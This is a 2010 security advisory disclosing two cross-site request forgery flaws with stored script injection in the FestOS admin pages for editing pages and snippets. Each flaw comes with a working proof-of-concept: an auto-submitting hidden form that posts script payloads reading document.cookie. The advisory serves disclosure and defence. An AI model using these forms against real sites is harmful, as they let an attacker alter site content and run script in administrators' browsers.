Cross-site Request Forgery (CSRF) Vulnerabilities in FestOS

2010-07-01T00:00:00
ID HTB22472
Type htbridge
Reporter High-Tech Bridge
Modified 2010-07-01T00:00:00

Description

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FestOS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in FestOS
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/do_pages_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit pages. Due to insufficient sanitation of input data in the "title" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.

Exploitation example:
<form action="http://host/admin/do_pages_edit.php" method="post" name="main" >
<input type="hidden" name="pageID" value="2" />
<input type="hidden" name="title" value='title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="alias" value="home" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='page content here...' />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in admin/do_snippets_edit.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify snippets. Due to insufficient sanitation of input data in the "contents" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/do_snippets_edit.php?tabname=Pages" method="post" name="main" >
<input type="hidden" name="snippetID" value="1" />
<input type="hidden" name="title" value="Site footer" />
<input type="hidden" name="active" value="1" />
<input type="hidden" name="contents" value='footer"><script>alert(document.cookie)</script>' />
</form>
<script>
document.main.submit();
</script>